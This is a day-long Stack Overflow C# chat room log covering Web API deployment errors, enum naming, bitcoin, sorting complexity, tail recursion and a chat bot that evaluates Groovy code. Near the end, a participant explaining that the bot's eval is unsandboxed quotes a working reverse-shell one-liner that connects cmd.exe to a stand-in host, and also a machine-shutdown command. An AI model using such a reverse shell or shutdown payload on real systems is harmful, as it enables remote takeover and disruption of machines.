« first day (3288 days earlier)      last day (1651 days later) » 

2:00 PM
good morning
 
@RoelvanUden ughh that's what our dad said .-.
but it's like....the only reason he stopped studying it is because the German program in his school is likely gonna get cut soon
 
np
 
@AlRey He's probably right :-P
Technology documentation isn't predominantly German anymore, most Germans know and speak English now. You're better of with English and Chinese nowadays :D
 
Has anyone pushed a MVC Web API/Angular App to production? If so, how do you get past the damn "Could not load file or assembly 'Microsoft.AspNet.TelemetryCorrelation' or one of its dependencies. The system cannot find the file specified." error?
 
@Skullomania Telemetry? Never had that file even installed/bundled/whatever.
 
2:03 PM
Easy: We don't have telemetry
 
what do you mean?
 
@RoelvanUden he wanted to be a German teacher, and like....idfk man
I'm worried he's gonna end up dropping out
 
@Skullomania do you have a dependency on Microsoft.ApplicationInsights.Web?
 
It is in the bin folder
let me check on that one
 
@AlRey If that's his passion, sure, why not? If there is demand for it in Indiana that's a good choice, he likes it and can get work.
 
2:04 PM
@CaptainSquirrel I have not had a calzone in years. sounds delish
 
@JonathonChase Yes it is installed
 
@Skullomania Is your application going to use application insights for telemetry?
 
I don't believe so, I am new to angular and following a tutorial
 
idk man it's like so many people where I'm from are an Irish+German mix xD
so it's weird that I'm a French-Sicilian mix
 
@JonathonChase I am trying to learn mvc webapi as well
should I just delete the references?
 
2:07 PM
Weird, when I build a new WebApi it just works
Depends, do you need the references?
 
@Skullomania Then you are probably fine with removing all telemetry based nuget packages from your project. I take it this is a personal project and not a production application
Instead of deleting the references, remove them through the Nuget Package Manager.
 
Yes, I am using a host file to connect to it on the server
 
If you use the package management console, the following should do it: UnInstall-Package Microsoft.ApplicationInsights.Web -RemoveDependencies
 
I am trying this out now
 
subjective... but is there a C# naming convention for enum class? I just want to create a standalone enum for my server restart rules.
 
2:12 PM
PascalCase, aswell as the values
 
the class would be named RestartRulesEnum.cs?
 
Still good I am going to try uploading it to the server
 
You can probably omit Enum from the name.
Since it's already typed as an enum.
 
okay... I will name it RestartMessages.cs
 
2:15 PM
beautiful.. thank you so much. taking a look
 
Especially this part, DO use a singular type name for an enumeration unless its values are bit fields.
 
saw that.. hmmm meaning RestartMessage....
well I am referring to the class name. not the enum. anyway.. thanks again.
 
Or RestartMessageType
In case it's the type of the restartmessage. Unless of course the value itself is the message.
 
anybody here investing in bitcoin?
 
That wouldn't be a wise choice Al
It's too volatile, and will probably go down faster than rise in price
 
2:28 PM
why not? it won't face inflation
 
It recently went down to 4k $
True, but countries are only willing to pay so much for bitcoins
 
hmm yea it has been going downhill since summer lol
 
Back in 2015-ish (IIRC) it was worth over 22k$
 
I'm not seeing 2015 on the graph here
it seemed to peak at the start of 2018
 
then it went down like a rollercoaster to 8k and regained up to 12k
might be 2018
don't quote me on that I don't follow bitcoin too close
but yeah you see the graph and there are 3 spikes
 
2:30 PM
hm well....I'm just crazy enough that I might invest ins ome form of cryptocurrency when prices are low
all I need is a gpu
 
May as well invest in lottery tickets
 
from 1 bitcoin = 0.3€ to like 1000€ when china adopted it. Down when it stopped funding the bitcoin with Yuan, up when Putin embraced it
 
well there you go; just keep communists away from bitcoin lolol
 
@AlRey electricity bill > bitcoin gain
 
thatsss what I was worried about
fine I guess I'll make a server out of an old pc or something :P
 
2:31 PM
I think that's been true about the electricity cost since like.. 2016
 
Blockchain 101: The more bitcoins that exist already, the harder it is to create a new bitcoin!
so electricity costs are ever increasing and bitcoin price is ever decresing
lose-lose situation
 
I saw a video of this guy who found a bunch of uses for his old PCs
one laptop was hanging up as a clock display
and a PC with windows 98 was being used as a music server
 
but you can buy some ASIC USB miners and earn a few bucks
 
a gpu that you plug in via usb? o.o
 
google it, it's a pretty efficient mining device for personal use
 
2:38 PM
Some high quality work going on here
 
I mean, USB takes like 5v so your electricity bill won't be too high for having 20 ASICs running
 
I did google it; that was the gist I got :P
 
@HéctorÁlvarez But at the same time they won't exactly be doing a lot if they aren't using much power. Good ASICs suck power like a motherfucker
 
@CaptainObvious My experience in GMV, they would have sanctioned you for making those commits
More than the allowed 1 commit per week
@CaptainObvious right, that's why i said earn a few bucks
 
@CaptainObvious Rebase!
 
2:39 PM
a friend of mine has 4 of them working constantly and he earns 30€ after paying the bills every month
 
Nah, makes my commit graph green. And that's all that really matters
 
Time to go home, bye bye!
 
byeee~
 
@JonathonChase That worked, Thanks man!
 
You got it, glad it helped.
 
2:46 PM
@Squirrelkiller o/
 
@CaptainSquirrel your mum
 
@JonathonChase I think I spoke too fast the page loads in production, however, the API methods are broken, it cannot see the database
 
Well, you've just found the next problem to solve.
 
Sit and read my story with the lab deployment team.
I started this training about a week ago. This training had a lab associated to it, and I would clear through it quick AF. A wild exercise appears! Create a service offering, create the contract options with several tiers, pricing, subscription, etc. just like you have in any cloud environment. I see an error during orchestration but don't mind it, something minor I guess?
So I go ahead and purchase my service on a Micro instance with just 1CPU and 1024MB RAM (smallest possible unit), and this immediately fails. I was wondering, didn't find anything I did wrong so I contact the lab team. They take 1 day to respond. Few hours pass and 13 mails are sent, all of them asking a different indian employee if they can take a look at it.
Few days pass, they apparently solved the issue so I go ahead and try to hire my service, which fails again, same issue. I check the cloud management console and see the service is unavailable now. Apparently they didn't solve the issue, but also they managed to break Kubernetes and the container that had all the authentication was killed.
So it takes another 2 days and they apply a new solution, and welcome me to try again. This time my service isn't there. Or the Organization I created, or the resource pools. Everything was gone... so I asked what happened, apparently they reset my session because something was wrong. Lost my progress of the last 5 days, however they offered me to extend the lab for 2 days to compensate.
 
3:05 PM
Is this for class? This is some real world experience level teaching.
 
So I contact my manager, he'll probably pull some strings. But yeah I just lost 5 days worth of training exercises because some IT pro wanted to "fix" the lab by deleting it and putting it up again.
Yeah just imagine working for a bank and you notice a bug that doesn't allow you to display the currency symbol
 
Clearly the solution to that is to dump the transaction history.
 
so you delete the servers and deploy a new bank infrastructure where everything works great, and fuck the accounting, the money wasn't yours, so tell your employees to ask more people for money to be stored
 
Well that's a real bummer situation, did you have anything saved locally?
 
Hey all, is it just me who has the following perspective: A lot of the times method delegates are a pain to use because it feels like there are too many names used for the same "method's block of code", and it could lead to confusion. In other words, it can be seen an unnecessarily aliasing of names
 
3:08 PM
no way to save anything, it's a remote machine in their environment
 
@crazyTech Can you give me an example?
 
@crazyTech if you have n functions that do the same thing, you have n-1 problems in your code.
 
@HéctorÁlvarez Just yikes. Well, second time you do something is always faster.
 
@JonathonChase true but still, the lab relies on earlier exercises to do the next ones. What I'm doing is basically deploying a whole organization worth of resources and services.
so if I try to do it faster because I believe I know something I will screw up
 
did you learn from it
 
3:16 PM
Yes I did
At least to the point I completed, yes
 
i meant from your failings
 
I didn't have many failings, I believe it was all running as expected by the lab guide
I don't know if I had any failings actually
 
perhaps they created the problem..but did you place as many guards as possible. if this is a learning experience, i guess that might not be possible
ie. "someone poured coffee on my hdd" should be followed with "but i have backups, so the damage is minimized" ...however that might apply to your case. or maybe it doesnt.
er..not literally the same; im sure you get the point.
 
I can't interact with labs anyhow
they are dockerized and placed behind 3 firewalls, nothing ever goes in or out, and all the storage is managed through its own docker container
you basically have the lab to work as-is
 
cant interact? so what did you do/lose over thos 5 days
nvm
 
3:27 PM
You can RDP
but you can't back anything up
or share files
Basically what a lab is about
it's a self-contained environment
 
3:41 PM
Ryland Goldstein on October 17, 2019

This is the first in an ongoing series from developers expressing their opinions on various topics in the software engineering and computer science world. The opinions expressed here are solely those of the author. If you disagree, drop a comment and let us know your take—respectfully, of course.

I suspect that a lot of people will interpret this article as “gatekeeping.”  Although I can understand that perspective, I’ve strived to provide an honest outlook that reflects my experience over the last few years (mostly startups). I also want to explicitly disclaim that I will be focusing on f …

 
Mythical means they don't exist but in some orgs they do
 
3:59 PM
Anyone familiar with this issue on Xamarin Forms?
Basically when a UI element is updated there's a chance that the content will randomly left align
The xamarin people claim it was fixed in 4.0.0 but I'm on 4.2.0 and it's still wonky
 
@Feeds yea yea you are a full stack engineer and they come to you at work and ask you to write an iOS app suddenly claiming you should know how to since you are FULLSTACK meaning ANYTHING I DARN WANT BECAUSE I PAY FOR IT
developers are abused yo and we are letting this happen
 
"We want you to use Xamarin for the App, so we can reuse our existing C# talent." 6 months later "I don't know why you went with Xamarin for this, we clearly need native. Also no swift."
 
4:41 PM
heh loving the no swift
 
I have a dependency I need to use during my asp.net core startup method, that also needs dependencies that are registered during the same method, and I'm really running in circles trying to figure out how I'm going to do this without doubling up my singletons by building the service provider too early
 
why not use a factory?
was just reading this today cause someone asked about it
 
Well, I need the instance to set options for another service.
 
services.AddTransient<MyService>((serviceProvider) => {
		 var someOtherService = serviserviceProvider.GetService<SomeOtherService>();
      		return new MyService(someOtherService.SomethingSomething);
});
 
Well, the issue is along the lines of services.AddSomeMiddleware(opt => { opt.Service = /* I need MyService Now */ });
 
4:55 PM
and it doesn't take a Func?
 
Quick question, whats the best way to add a single property to an array. For instance. My json format requires something like: "item" : [{"obj":7] however I know there will only ever be one item in that list. Right now I have the property as List<item> then just add to the list. But thats a pain to access because I have to hard code item[0] or use linq to get first. Thoughts?
 
how to battle bad design hm
 
I think what I need to do is go ahead and figure out how I can just inject to the service directly instead of trying to configure it with extensions. Ugh learning new things you're the best/worst
Oh crap this library was straight out merged with another one. I hope it gives me an easier time
 
5:39 PM
Aha, someone made it possible to provide the type of the service instead of the service itself. Just had to find the magic combination of words for the googles to find it.
 
anyone here ever been in marching band?
cause I've gotten into the habit of marching to my music at the desk now
 
lol don't be the drum guy
 
5:56 PM
scp-wiki.net/scp-332 is my favorite marching band.
 
my high school didn't even have a drum major or a conductor for the field :P
 
If an algorithm uses two for loops, then it's theta(n^2), if we could use only one for , then its theta(n). always?
 public static T[] BubbleSort<T>(T[] arr) where T : IComparable<T>
        {
            for (int i = 0, n = arr.Length - 1; n > 0; i++, Incre(ref n, ref i))
            {
                if (arr[i].CompareTo(arr[i + 1]) > 0)
                {
                    var current = arr[i];
                    var next = arr[i + 1];
                    arr[i] = next;
                    arr[i + 1] = current;
                }
            }
            return arr;
        }

        private static void Incre(ref int n, ref int i)
 
6:31 PM
crap how do you quote other peopel's messages?
sorry @mshwf -- I'm not exactly sure what you're asking
 
@AlRey Bubble sort algorithm has an average complexity of θ(n²), because it uses two for loops, in the above code I use only one loop
 
6:50 PM
it depends on how many iterations that loop does
your loop will still be O(n^2)
 
yeah, sorry; that's a bit much calculus for me x-x
 
@Wietlol Still O(n^2) with only one for loop and simple assignments?!
 
define "simple"
> Incre(ref int n, ref int i)
I can not agree that that is simple
you loop like this
0..n
0..n-1
0..n-2
0..n-3
...
0..n = O(n)
but the total number of iterations is 0.5n * (n+1)
0.5n * (n+1) = O(n^2)
there is no way around that
 
convinced
 
@mshwf You can have an algorithm in O(n^2) time with no loops.
 
7:03 PM
recursion?
 
R E C U R S I O N
 
there are also a few O(n) time sorting algorithms
 
@JonathonChase I just knew that!
 
one even with O(n) space complexity too
 
@Wietlol What lies.
Must be a real specific case
 
7:05 PM
counting sort
consider a list of integers
first, you loop over it to find the min and max value
 
But wikipedia says that O(n + k)
 
then, you create an int array with length = max - min
then, you loop over the list again, counting up the values in your array
so, for the list [ 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 3, 3, 3 ]
the counting array is [ 4, 3, 2, 4 ]
(for convenience, the list is already sorted)
after that, you iterate over your counting array and feed values to the list
so, you say "4 zeroes, 3 ones, 2 twos, 4 threes"
aka [ 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 3, 3, 3 ]
O(n + k) is the actual complexity because k is the size of the counting array
k = max - min + 1
in our case, it is 4
 
That's a neat one. Radix is neat like that too
 
if you have a list [0, 9999999999999]
the sorting will take quite some time
because it has to allocate a list of 10000000000000 elements
which... takes time
but considering your values arent that ridiculous... k should be fine and even less than n
ofcourse, it only works on values where you have a finite amount of values between min and max
for floats, you cant really do this
 
Well, I don't think anyone implements and uses bubblesort except to practice and understand it.
 
7:12 PM
except if you agree on a rounding of x decimals
I dont think anyone implements any sorting at all
they would simply use list.OrderBy(Identity)
the algorithm is probably quick sort
but that is my initial guess
 
for LINQ to objects? you are correct
Array.Sort is a bit more interesting
 
does it use BogoSort?
 
It uses either insert, heap, or quick depending on partition size
 
meh, no bogo sort
Bead sort is also interesting, but I dont understand how it works
anyway, back2botting
 
bot away
 
7:40 PM
Hi. I am trying to think of a pattern, that would be useful for resolving each of these steps... rather than adding more to the mix. how would I break this out? what kind of pattern?

       private void ResolveServer(Server server, ServerStatusItemsSearchParameters searchParameters)
        {
            ResolveMenuItem(Status.Converting, server);
            ResolveMenuItem(Status.Error, server);
            ResolveMenuItem(Status.Success, server);
            ResolvePickleStatusItem(server);
 
what is the problem with it?
 
nothing per se.... if one of the bottom methods take an action we want to short-circuit it... and not fire the method below it... and also would not want in the future to just add more methods.
so yes we could add a bool hasMotorcycleBeenRestarted.. but it is not elegant enough me thinks...
there must be some sort of orchestration pattern that will make it more OOP
 
7:59 PM
does C# have tail recursion? I am forgetting
 
8:10 PM
thats a no no
 
Hi forgetting, I am Wietlol
 
8:23 PM
@misha130 It's a big 'kinda'. The compiler does not emit the tail opcode, but the 64bit JITer is likely to make the optimization. The 32bit JITer I do not believe will. So it's a really, really fun way to accidentally blow your stack on different environments and have trouble reproducing.
I guess it's less a 'kinda' and more of a 'No, but here is trivia'.
 
I need sleep....it took me an hour to figure out a single SQL thing....granted it was a tough thing that required a lot of hoops to leap through, but still @.@
 
well here is a thread where people are all going "oh boy I wish it had it"
 
There's always F#
 
yea well I heard they are moving all the good things from F# to C# too
so maybe one day
 
Or rolling your own via trampolines
Which this blog covers pretty well: http://community.bartdesmet.net/blogs/bart/archive/2009/11/08/jumping-the-trampoline-in-c-stack-friendly-recursion.aspx
It's a lot of complexity to take on for recursion, though.
Yeah, maybe one day. I'm still waiting for record types to make it over. They first pitched them for C# 6.
 
8:55 PM
0
Q: Post data not being sent to backend api correctly?

not a trollTrying to run a post request and no data is being sent, even though passing it through? The backend is reporting no post data was sent and I've checked it doesn't seem to send it? I have doubled checked everything but I don't understand why? StackOverflow keeps asking me for more description so ...

 
you're marking the content type as application/json but sending what looks like application/x-www-form-urlencoded
also i find your name suspicious.
 
9:51 PM
I've got a project that makes a lot of tail calls, and it'd be really nice to have those guaranteed
running it in release mode does it sometimes but I don't think it's often enough to help too much
 
mr5
10:49 PM
morning people of the Earth!
It's Fridayay!
 
@Wietbot funfriday
 
Thank Talos, it is Fredas!
 
mr5
oh ho!
Wietbot is alive!
 
@Wietbot eval "Heck yea!"
 
10:54 PM
@Wietlol Heck yea!
 
mr5
what an awful name for command
 
why so?
 
mr5
why not tell?
 
because it is not "tell"
it is "eval"
 
mr5
eval is suited for comp-scist plebs only
see git vs merc difference. merc have a more human friendly commands
 
10:57 PM
@Wietbot eval System.getProperty("os.name")
 
@Wietlol Windows Server 2019
 
mr5
what language is that?
 
@Wietbot eval "@" + "mr5 you cant beat this"
 
@Wietlol @mr5 you cant beat this
 
huh? it doesnt notify you?
@mr5 it is groovy
 
mr5
10:58 PM
it does
 
the easiest JVM language to use as scripting language
it is also the only dynamic jvm language I know and can write in
 
mr5
why not Kotlin?
 
kotlin is more difficult to use as scripting language
 
mr5
I thought it's just a build system
 
val shell = GroovyShell()
val script = shell.parse(groovyCode)
val result = script.run()
that is how difficult it is to use Groovy as scripting language
ofcourse, this isnt sandboxed...
it has several security issues
I can do anything with it that normal code inside it could do too
@Wietbot eval new java.io.File("test").absolutePath
 
11:03 PM
@Wietlol C:\Software\Wietbot-StackExchange\test
 
I can create files everywhere, remove system32 if I want to
or simply shut down the machine
in Sandbox, yesterday, by geisterfurz007
How about
eval Process p=new ProcessBuilder("cmd.exe").redirectErrorStream(true).start();Socket s=new Socket("thiswouldbemyip.lol",9001);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
or... this
 
mr5
is it the default name for element access inside lambda?
 
> eval "cmd /c shutdown -p".execute()
this one is also something
@mr5 ye, for both Groovy and Kotlin
 
mr5
it can't be changed?
 
{ it -> doStuff(it) } == { doStuff(it) }
it has been a very good choice
 
mr5
11:05 PM
oh so @Feeds is some kind of bot also. what the heck I'm too slow to realize things
 
if you want a different name, use an explicit lambda parameter
 
mr5
I prefer the e
 
e is meaningless
 
mr5
it for iterator?
 
it for... it
 
mr5
11:06 PM
I learned it from Jon Skeet
 
> used to refer to a thing previously mentioned or easily identified.
"easily identified"
if not, then you should probably use an explicit name
 
mr5
I guess e for element
 
it > e
words.forEach { println(it) }
 
mr5
it = imaginary * t (more like t stands for time)
while e = the Math const 2.7...
 
why would you make a loop and then do an operation on a constant?
anyway, groovy and kotlin are both very interesting languages
I would prefer kotlin because of a few design choices... such as static typing
but groovy has some interesting things
 
mr5
11:11 PM
cuz you say:
3 mins ago, by Wietlol
it > e
 
such as trait classes, missing property handlers and a nice string thingy
 
mr5
what would be the result when you multiply to an imaginary number?
 
it would be imaginary
 
mr5
is it a number?
 
an imaginary one
oh, gstrings are also interesting
 
mr5
11:15 PM
okay. I guess it > e is true but I won't still use it for lambda
what is gstrings? sounds like from Music industry
you perv Wiet haha
@Wietlol
 
@Wietbot eval def user = "Wietlol"
def template = "Hello $user!"

def result = template.toString()

user = "mr5"
result += " "
result += template.toString()
result
 
@Wietlol org.codehaus.groovy.control.MultipleCompilationErrorsException::startup failed:
Script1.groovy: 1: Unexpected input: 'def'; Expecting <EOF> @ line 1, column 22.
def user = "Wietlol" def template = "Hello $user!" def result = template.toString() user = "mr5" result += " " result += template.toString() result
^

1 error
 
hmm...
@Wietbot eval def user = "Wietlol";
def template = "Hello $user!";
def result = template.toString();
user = "mr5";
result += " ";
result += template.toString();
result
 
@Wietlol Hello Wietlol! Hello Wietlol!
 
aw
I forgot how GStrings work
ah
@Wietbot eval def user = "Wietlol";
def template = "Hello ${->user}!";
def result = template.toString();
user = "mr5";
result += " ";
result += template.toString();
result
 
11:19 PM
@Wietlol Hello Wietlol! Hello mr5!
 
there we go
GStrings are basically string interpolations
but, they are only evaluated when you actually convert them to a String
@Wietbot eval def user = "Wietlol";
def template = "Hello ${->user}!";
String result = template;
user = "mr5";
result += " ";
result += template;
result
 
@Wietlol Hello Wietlol! Hello mr5!
 
> "Hello ${->user}!"
is the template
> String result = template
 
mr5
hey you're spamming already
 
will say "ok, I want to convert it to a normal string"
every time you do that (same with result += template;), it will process the template
 
mr5
11:22 PM
are you doing the gstrings?
 
I have yet to see another language that does this
(site may take a while to load)
(it is a huge document)
@mr5 what do you mean?
anyway, im off
 

« first day (3288 days earlier)      last day (1651 days later) »